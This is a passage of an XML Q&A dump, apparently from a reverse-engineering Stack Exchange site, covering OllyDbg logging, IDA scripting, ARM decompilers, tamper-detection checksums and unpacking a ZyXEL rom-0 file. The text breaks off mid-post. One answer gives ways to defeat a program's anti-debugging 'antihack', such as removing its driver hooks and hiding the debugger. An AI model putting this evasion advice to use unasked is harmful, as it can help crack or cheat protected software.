  <row Id="3640" PostTypeId="2" ParentId="3639" CreationDate="2014-02-07T14:38:35.690" Score="8" Body="&lt;p&gt;Select the &lt;code&gt;MOV EDI, EAX&lt;/code&gt; instruction and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F4&lt;/kbd&gt; to open the &lt;strong&gt;Conditional log&lt;/strong&gt; breakpoint window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that window, specify &lt;code&gt;eax&lt;/code&gt; as the expression, set &lt;strong&gt;Pause program&lt;/strong&gt; to &lt;strong&gt;Never&lt;/strong&gt;, and set &lt;strong&gt;Log value of expressions&lt;/strong&gt; to &lt;strong&gt;Always&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXRM7.png&quot; alt=&quot;Conditional log&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press the &lt;strong&gt;OK&lt;/strong&gt; button, run your program, and now the referenced string will get logged to OllyDbg's log window whenever that instruction is hit.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-07T14:38:35.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3641" PostTypeId="2" ParentId="3639" CreationDate="2014-02-07T17:24:18.150" Score="0" Body="&lt;p&gt;in odbg version 1.10&#xA;that will only &lt;code&gt;log eax&lt;/code&gt; not the string&lt;br&gt;&#xA;in the expression box put either &lt;code&gt;STRING [EAX]&lt;/code&gt; or &lt;code&gt;UNICODE [eax]&lt;/code&gt;  as the case may be&lt;br&gt;&#xA;or with plain eax select &lt;code&gt;pointer to ascii or unicode string&lt;/code&gt; in &lt;code&gt;decode expression as&lt;/code&gt; dropdown box to log strings &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log data, item 0&#xA; Message=eax  = 1001590  [eax]  = 74636868  string [eax]  = hhctrl.ocx  unicode [eax] =&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;odbg 210&lt;/code&gt; will decode expression automatically &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01012475  INT3: plain eax = 1001590 ASCII &quot;hhctrl.ocx&quot;&#xA;                dword ptr eax = 74636868 (1952671848.)&#xA;                ascii string ptr eax = hhctrl.ocx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-02-07T17:24:18.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3642" PostTypeId="1" AcceptedAnswerId="3643" CreationDate="2014-02-07T21:14:43.947" Score="3" ViewCount="1857" Body="&lt;p&gt;Analysing a bootmanager : I'm trying to track all variables which are only read from, and not written to... which will give me the external variables it uses...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any such functionality in IDA pro free? Can I write a plugin for it in the free version? Any other options for this purpose? Any other tool which can do this?&lt;/p&gt;&#xA;" OwnerUserId="3757" LastActivityDate="2014-02-07T21:21:31.633" Title="How to find memory addresses which are read from but not written to" Tags="|ida|disassembly|static-analysis|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostTypeId="2" ParentId="3642" CreationDate="2014-02-07T21:21:31.633" Score="4" Body="&lt;p&gt;Since you are only interested in variables that are read from, not written to, I'll assume you're talking about global variables since it makes no sense to have a local variable that's never written to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can write an IDC script to iterate through each global variable and use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/313.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;RfirstB&lt;/code&gt;, &lt;code&gt;RnextB&lt;/code&gt;, and &lt;code&gt;XrefType&lt;/code&gt;&lt;/a&gt; to determine which global variables are read from, written to, or both.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-07T21:21:31.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3645" PostTypeId="5" CreationDate="2014-02-08T15:20:49.983" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-08T15:20:49.983" LastActivityDate="2014-02-08T15:20:49.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3646" PostTypeId="4" CreationDate="2014-02-08T15:20:49.983" Score="0" Body="Reverse-engineering focused on the detection, and possibly the exploitation, of security vulnerabilities in software and computer systems." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-08T15:20:49.983" LastActivityDate="2014-02-08T15:20:49.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3649" PostTypeId="1" AcceptedAnswerId="3651" CreationDate="2014-02-08T18:12:38.997" Score="2" ViewCount="4492" Body="&lt;p&gt;I want to run an OllyDbg and attach it to some starting later process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is, that process is very aggressive: it kills OllyDbg on start, and I also can't run OllyDbg later because that process then crashes with some invective message written in some moonspeak language (there are symbols that can be read, and they tell something about 'antihack.dll', for which, though, I don't found any reference to using Dependency walker and Pe Explorer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any way how to prevent this aggressive process from killing any working app and connect it somehow to OllyDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Now is some crazy stuff going on.&#xA;Even if rum without debugger in background process fails after some time with an memory access error (and I even replaced an .exe with the original one in case of some arbitrary overwrites).&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="2038" LastEditDate="2014-02-08T18:47:44.547" LastActivityDate="2014-02-10T06:17:40.440" Title="How to prevent application from killing OllyDbg" Tags="|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3651" PostTypeId="2" ParentId="3649" CreationDate="2014-02-08T20:00:39.170" Score="5" Body="&lt;p&gt;What is the target program? Is it known to have an antihack? (If so, who makes it?) Are you on a 32-bit or 64-bit OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use GMER/&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682619%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;EnumDeviceDrivers()&lt;/code&gt;&lt;/a&gt;/etc and check for drivers that &quot;antihack.dll&quot; might be loading. If there is a driver, load its binary into IDA and start reversing, and if you're on 32-bit grab an anti-rootkit program (GMER, kernel detective, XueTr) and remove their hooks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;they tell something about 'antihack.dll', for which, though, I don't&#xA;  found any reference to using Dependency walker and Pe Explorer&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe the antihack.dll is loaded into a seperate process? Try monitoring process creation or just use taskmanager and see if there's a seperate process that is killing your Olly. Alternatively, it could just be a delayed LoadLibrary call. Also, the program might be injecting antihack.dll into your process instead of loading it (unlikely in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on a 32-bit OS, PhantOm with driver enabled should be enough to protect your Olly. If it isn't, try looking for other plugins that hide Olly. On a 64-bit OS, you would need to write your own driver, though with PatchGuard around even that will probably not be enough since they could be detecting your Olly by its window names/positions/hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to attach to a program with an antihack feature you would preferably partially or completely disable the antihack first. Stealthing an invasive debugger to get it to attach to an already running protected process is not a nice approach. Start with static analysis in IDA, find a way to start the program in Olly and debug the startup process, or start with less invasive dynamic analysis (Cheat Engine).&lt;/p&gt;&#xA;" OwnerUserId="3824" LastEditorUserId="3824" LastEditDate="2014-02-10T06:17:40.440" LastActivityDate="2014-02-10T06:17:40.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3652" PostTypeId="2" ParentId="1965" CreationDate="2014-02-09T10:09:02.370" Score="1" Body="&lt;p&gt;Newer versions of Android actually include a mechanism like this. It uses jdwp to send a signal to tell the app that you've connected up. See the ndk-gdb script from the NDK =)&lt;/p&gt;&#xA;" OwnerUserId="1501" LastActivityDate="2014-02-09T10:09:02.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3653" PostTypeId="2" ParentId="2704" CreationDate="2014-02-09T13:34:27.093" Score="1" Body="&lt;p&gt;I found a couple of tools to play with firmwares, but none of them is useful to &quot;play&quot; with firmware I downloaded for my media player, maybe it is more useful to you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.routertech.org/tools/firmware_tool-097b.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.routertech.org/tools/firmware_tool-097b.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;firmware mod kit:&#xA;&lt;a href=&quot;http://code.google.com/p/firmware-mod-kit/downloads/list&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/firmware-mod-kit/downloads/list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted just to figure out which web pages are stored on the device, which can work as NAS, but I have no access to Linux boxes.&lt;/p&gt;&#xA;" OwnerUserId="3876" LastActivityDate="2014-02-09T13:34:27.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostTypeId="1" AcceptedAnswerId="3656" CreationDate="2014-02-10T11:07:34.727" Score="11" ViewCount="21180" Body="&lt;p&gt;I'm trying to use IDA Pro v6.5 &lt;s&gt;(freeware)&lt;/s&gt; (demo) to decompile an objective-c library compiled for ARM7-7S. I tried Hopper v2.8.8 (freeware) with no success. &lt;br&gt;&lt;br&gt;&#xA;I had no problem until I tried to display a pseudocode. In fact, I can't find the option for that as you can see on this screenshot : &lt;img src=&quot;https://i.stack.imgur.com/0x93j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;I believe to know that I can do it because IDA should support ARM decompilation... So my question is : How to decompile an objective-c library ? Or, Am I missing something ?&lt;/p&gt;&#xA;" OwnerUserId="3883" LastEditorUserId="60" LastEditDate="2016-11-02T13:40:22.880" LastActivityDate="2016-11-02T13:40:22.880" Title="How to decompile an Objective-C static library (for iOS)?" Tags="|ida|decompilation|arm|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3655" PostTypeId="2" ParentId="3654" CreationDate="2014-02-10T11:43:38.270" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;There's no &quot;freeware&quot; v6.5 (at least now, in 2014). You are probably using the demo.&lt;/li&gt;&#xA;&lt;li&gt;The decompiler is an additional plugin and is not included in the demo. You need to purchase IDA &lt;em&gt;and&lt;/em&gt; the decompiler to access it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For purchasing IDA, &lt;a href=&quot;https://www.hex-rays.com/products/ida/order.shtml&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-02-10T11:43:38.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3656" PostTypeId="2" ParentId="3654" CreationDate="2014-02-10T11:58:37.467" Score="11" Body="&lt;p&gt;There is &lt;a href=&quot;http://derevenets.com/&quot;&gt;SmartDec&lt;/a&gt;, a native-code to C/C++ decompiler. It has two versions. Standalone and plugin to IDA. The latter supports all IDA's architectures, provides full GUI integration - is easy to work with -, makes use of &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/175/what-is-a-flirt-signature&quot;&gt;IDA Flirt signatures&lt;/a&gt; and will make use of runtime information if you use it together with &lt;a href=&quot;https://github.com/deresz/funcap&quot;&gt;funcap&lt;/a&gt;. There is also &lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot;&gt;Retargetable Decompiler&lt;/a&gt;, an online decompiler developed at Brno University of Technology that supports x86, ARM, ARM+Thumb and MIPS and can decompile to C or Python. It provides not only the decompilation but packer and compiler information, extraction of debug information, call and flow graphs, and signature-based removal of statically linked library code. Its only problem is its input size limitation of 10MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those do not suffice your needs, you could also adapt or wait for the implementation of ARM support in either &lt;a href=&quot;https://github.com/EiNSTeiN-/ida-decompiler&quot;&gt;Einstein's IDA Decompiler&lt;/a&gt;, &lt;a href=&quot;https://github.com/jcdutton/libbeauty&quot;&gt;libbeauty&lt;/a&gt; - &lt;a href=&quot;https://github.com/jcdutton/reference&quot;&gt;reference material&lt;/a&gt; -, or &lt;a href=&quot;http://sourceforge.net/projects/desquirr/&quot;&gt;desquirr&lt;/a&gt; - as someone already &lt;a href=&quot;http://www.embedded.com/design/real-time-and-performance/4023282/3/Decompiling-the-ARM-architecture-code&quot;&gt;did&lt;/a&gt; but released no code. The first two are the most promising. You could also wait for &lt;a href=&quot;http://hopperapp.com/&quot;&gt;Hopper&lt;/a&gt; to improve it's ARM support. &#xA;However, if you need to decompile it now, you'll have to purchase &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot;&gt;IDA&lt;/a&gt; and the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/&quot;&gt;Hex-Rays Decompiler&lt;/a&gt;, which is more than worth its cost - if you can afford it - and goes for about 3314 USD - including courier shipping - as of now for a named license. More informations about the purchase can be found in the link Mr.Skochinsky &lt;a href=&quot;https://www.hex-rays.com/products/ida/order.shtml&quot;&gt;provided&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1916" LastEditDate="2014-02-10T12:21:04.957" LastActivityDate="2014-02-10T12:21:04.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3657" PostTypeId="2" ParentId="3654" CreationDate="2014-02-10T18:23:24.337" Score="3" Body="&lt;p&gt;I do mainly refer to the first answer and add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Retargetable Decompiler&lt;/strong&gt; is indeed working fine, tested it with ARM Binarys. It's only anvailable online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SmartDec&lt;/strong&gt; has moved to a new site: &lt;a href=&quot;http://decompilation.info/&quot; rel=&quot;nofollow&quot;&gt;http://decompilation.info/&lt;/a&gt; but is not currently able of decompiling ARM Platform.&lt;/p&gt;&#xA;" OwnerUserId="3887" LastActivityDate="2014-02-10T18:23:24.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostTypeId="1" AcceptedAnswerId="3659" CreationDate="2014-02-10T22:12:24.690" Score="5" ViewCount="2937" Body="&lt;p&gt;I am using ollydbg and a Hex editor. I confirmed that once the application is edited in any way it behaves different than normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was that the file is checking the checksum value so I looked at the intermodular calls in olly and did not see anything about checksum. I was specifically looking for &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680355%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;MapFileAndCheckSum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am trying to reason this out, I am thinking that a checksum value has to be hard coded in the file so it can be compared to the actual checksum. So I am wondering from the developers point of view how is it possible to get the checksum value to be hard code when the application is not complete/compiled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which brings me to the question. What ways is there for an application to detect that it has been modified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------- EDIT ------- Additional Information ------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been doing some testing and I have to say I'm baffled as to where the checksum value is being stored.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There are no connections to the internet.&lt;/li&gt;&#xA;&lt;li&gt;Only one dll comes with the application (I extracted the installer files manually) the dll file is old and was last modified prior to the application. I even compared it to an earlier version of the application that did not have this checksum check and the dll is identical.&lt;/li&gt;&#xA;&lt;li&gt;I taught that maybe the checksum value would be entered in the registry by the installer so I extracted the .exe and .dll to a separate computer that has never used the installer. Changes are still being detected!&lt;/li&gt;&#xA;&lt;li&gt;It is definitely a checksum test, as I have changed a single byte of padding by from 00 to 20 and the change is detected. If I edit back to 00 to application performs normally.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So now I am wondering would it be possible to calculate what the checksum is going to be before entering the hard coded checksum value? I do realize that the actual checksum value will change when changing the hard coded checksum value. I want to know if there is any method to predetermine a checksum value when hard coding and finding a match. Seems impossible but I cannot think of any other means considering the situation.&lt;/p&gt;&#xA;" OwnerUserId="3625" LastEditorUserId="3625" LastEditDate="2014-02-12T08:16:07.157" LastActivityDate="2014-02-19T08:25:01.827" Title="What ways is there for an application to detect that it has been modified?" Tags="|ollydbg|hex|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostTypeId="2" ParentId="3658" CreationDate="2014-02-10T22:34:49.657" Score="4" Body="&lt;p&gt;The application can check only a part of itself, excluding the checksum part. You can also have a runtime decryption, that will be wrongly decrypted if tampered with. There are &lt;a href=&quot;http://libeccio.dia.unisa.it/wlf/&quot; rel=&quot;nofollow&quot;&gt;several&lt;/a&gt; &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.105.9337&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow&quot;&gt;research&lt;/a&gt; &lt;a href=&quot;http://www.seas.gwu.edu/~simha/research/spee_journal.pdf&quot; rel=&quot;nofollow&quot;&gt;projects&lt;/a&gt; in this area.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-02-10T22:34:49.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostTypeId="2" ParentId="3658" CreationDate="2014-02-11T05:07:30.633" Score="2" Body="&lt;p&gt;I'm assuming you've hex edited the actual file. In that case, the application may be reading itself from disk and manually calculating a checksum. Most likely it uses one of the following to load the file into memory:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateFile&lt;/code&gt;/&lt;code&gt;OpenFile&lt;/code&gt; with &lt;code&gt;ReadFile&lt;/code&gt; (and all their suffixed forms)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateFileMapping&lt;/code&gt; and &lt;code&gt;MapViewOfFile&lt;/code&gt; (and all their suffixed forms)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can use Process Monitor to conveniently monitor file-related API calls and filter by process name, or just bp everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember that a checksum could be stored in dll's/any other files that come with the application, or downloaded from the internet.&lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-02-11T05:07:30.633" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3662" PostTypeId="1" AcceptedAnswerId="3832" CreationDate="2014-02-11T05:15:27.283" Score="3" ViewCount="3597" Body="&lt;p&gt;So I have this rom-0 file from Zyxel router P-660HW-T3 v3 and I would like to decompress it, I tried many tools, one of them &lt;a href=&quot;http://git.kopf-tisch.de/?p=zyxel-revert;a=summary&quot; rel=&quot;nofollow&quot;&gt;you can find here&lt;/a&gt; the tool using lzs for decompression which works for some rom-0 files (smaller ones around 16 kB), but on mine it does not, mine has around 50 kB and has few differences.Here is &quot;normal&quot; file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;00000000  01 01 00 01 19 48 64 62  67 61 72 65 61 00 00 00  |.....Hdbgarea...|&#xA;00000010  00 00 00 00 18 00 00 00  01 48 00 00 00 00 00 00  |.........H......|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000160  00 00 00 00 00 00 00 00  52 ca c0 ea de ad be af  |........R.......|&#xA;00000170  00 00 00 0e 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000180  05 03 00 ad 52 c9 a4 e5  80 46 e7 50 ff ff a1 f4  |....R....F.P....|&#xA;00000190  00 00 00 19 00 00 00 00  05 03 00 d4 52 c9 a4 e5  |............R...|&#xA;000001a0  80 46 e7 50 ff ff 9e 08  00 00 00 64 80 09 89 ac  |.F.P.......d....|&#xA;000001b0  04 03 00 d5 52 c9 bb 21  80 46 eb b8 ff ff a2 30  |....R..!.F.....0|&#xA;000001c0  00 09 3a c9 00 00 00 00  04 03 00 d6 52 c9 bb 21  |..:.........R..!|&#xA;000001d0  80 46 eb b8 ff ff a2 2f  00 09 3a c9 00 00 00 00  |.F...../..:.....|&#xA;000001e0  04 03 00 d7 52 c9 ba 49  80 46 eb b8 ff ff a2 35  |....R..I.F.....5|&#xA;000001f0  52 c9 ba 49 00 00 00 00  04 03 00 d8 52 c9 ba 49  |R..I........R..I|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&#xA;&lt;pre&gt;&lt;code&gt;&#xA;00000410  80 46 e7 50 ff ff 9e 08  00 00 00 64 80 09 8b 3c  |.F.P.......d...&amp;#60;|&#xA;00000420  55 55 55 55 00 00 00 00  00 00 00 00 00 00 00 00  |UUUU............|&#xA;00000430  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000006d0  00 00 00 00 55 55 55 55  00 00 00 00 80 41 00 00  |....UUUU.....A..|&#xA;000006e0  00 00 00 00 00 00 00 0e  00 00 00 00 00 00 00 01  |................|&#xA;000006f0  00 00 00 00 ff ff ff fe  00 00 ff 14 00 00 00 01  |................|&#xA;00000700  00 00 00 30 00 00 00 01  80 45 cc f0 00 00 00 01  |...0.....E......|&#xA;00000710  00 00 00 01 00 00 00 63  80 41 4c 78 00 00 00 01  |.......c.ALx....|&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;and&#xA;&lt;pre&gt;&lt;code&gt;&#xA;00002000  02 94 00 03 1f fc 62 6f  6f 74 00 00 00 00 00 00  |......boot......|&#xA;00002010  00 00 00 00 00 20 00 0c  01 48 73 70 74 2e 64 61  |..... ...Hspt.da|&#xA;00002020  74 00 00 00 00 00 00 00  1a b0 13 52 01 68 61 75  |t..........R.hau|&#xA;00002030  74 6f 65 78 65 63 2e 6e  65 74 00 00 01 f4 01 dc  |toexec.net......|&#xA;00002040  1c 18 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00002050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;Here is mine &#xA;&lt;pre&gt;&lt;code&gt;&#xA;00000000  01 01 00 01 00 00 19 48  64 62 67 61 72 65 61 00  |.......Hdbgarea.|&#xA;00000010  00 00 00 00 00 00 00 00  18 00 00 00 00 00 00 00  |................|&#xA;00000020  01 48 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.H..............|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000150  00 00 00 00 00 00 00 05  00 00 00 01 00 00 00 02  |................|&#xA;00000160  00 00 00 03 00 00 00 01  00 00 00 00 de ad be af  |................|&#xA;00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000180  03 03 00 30 38 6d 46 1a  00 00 00 18 ff ff a1 f4  |...08mF.........|&#xA;00000190  00 00 00 01 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000001b0  00 00 00 00 00 00 00 00  05 03 00 5c 38 6d 46 1a  |...........\8mF.|&#xA;000001c0  00 00 00 18 ff ff 9e 08  00 00 00 64 80 09 e0 5c  |...........d...\|&#xA;000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000001f0  05 03 00 32 38 6d 46 2a  00 00 00 20 ff ff a1 f4  |...28mF*... ....|&#xA;00000200  00 00 00 03 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000220  00 00 00 00 00 00 00 00  04 03 00 5d 38 6d 46 2a  |...........]8mF*|&#xA;00000230  00 00 00 20 ff ff a2 29  00 00 00 00 00 00 00 00  |... ...)........|&#xA;00000240  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;00000ea0  04 03 00 2e 38 6d 45 ee  00 00 00 20 ff ff a1 f4  |....8mE.... ....|&#xA;00000eb0  00 00 00 0b 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000ec0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000ed0  00 00 00 00 00 00 00 00  04 03 00 59 38 6d 45 ee  |...........Y8mE.|&#xA;00000ee0  00 00 00 20 ff ff a2 33  00 00 00 00 00 00 00 00  |... ...3........|&#xA;00000ef0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000f10  04 03 00 5a 38 6d 45 ee  00 00 00 20 ff ff a2 2e  |...Z8mE.... ....|&#xA;00000f20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000f40  00 00 00 00 00 00 00 00  03 03 00 5b 38 6d 45 f7  |...........[8mE.|&#xA;00000f50  00 00 00 15 ff ff a5 fc  ff ff f4 47 80 9a e2 98  |...........G....|&#xA;00000f60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000f80  55 55 55 55 00 00 00 00  00 00 00 00 00 00 00 00  |UUUU............|&#xA;00000f90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00001b90  00 00 00 00 55 55 55 55  00 00 00 00 ff ff ff ff  |....UUUU........|&#xA;00001ba0  00 00 00 02 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;00001fd0  80 7a 00 00 bf c0 5f 90  80 66 00 00 00 00 00 00  |.z...._..f......|&#xA;00001fe0  80 5e 05 b4 80 40 11 c8  00 00 00 00 00 00 00 00  |.^...@..........|&#xA;00001ff0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00002000  02 c8 00 03 00 00 9f fc  62 6f 6f 74 00 00 00 00  |........boot....|&#xA;00002010  00 00 00 00 00 00 00 00  00 20 00 00 00 0c 00 00  |......... ......|&#xA;00002020  01 48 73 70 74 2e 64 61  74 00 00 00 00 00 00 00  |.Hspt.dat.......|&#xA;00002030  00 00 9a b0 00 00 3f 6c  00 00 01 68 61 75 74 6f  |......?l...hauto|&#xA;00002040  65 78 65 63 2e 6e 65 74  00 00 00 00 01 f4 00 00  |exec.net........|&#xA;00002050  01 52 00 00 9c 18 00 00  00 00 00 00 00 00 00 00  |.R..............|&#xA;00002060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I separated some parts of the files as u may see above, so what Binwalk says on &quot;normal&quot; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$ binwalk rom-0&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;------------------------------------------------------------------------------------------------------------------------------------------------------&#xA;0             0x0             ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 6144, data offset from start of block: 344&#xA;8212          0x2014          ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 4946, uncompressed size: 6832, data offset from start of block: 376&#xA;8232          0x2028          ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 476, uncompressed size: 500, data offset from start of block: 7208&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and what on mine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$ binwalk rom-4.51 &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;------------------------------------------------------------------------------------------------------------------------------------------------------&#xA;2             0x2             ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 6144, uncompressed size: 0, data offset from start of block: 16&#xA;7319          0x1C97          LZMA compressed data, properties: 0xD0, dictionary size: 33554432 bytes, uncompressed size: 31360 bytes&#xA;8220          0x201C          ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 39600, uncompressed size: 0, data offset from start of block: 16&#xA;8246          0x2036          ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 500, uncompressed size: 0, data offset from start of block: 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;LZMA header is &quot;incorrect&quot; it cant be decompressed, maybe its modified do not know, so file has dbgarea, spt.dat, autoexec.net standard block but is it comoressed with &quot;modified&quot; lzs can u tell ?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.hakim.ws/huawei/rom-0/kender.html&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; are some notes from RE of &quot;old&quot; rom-0 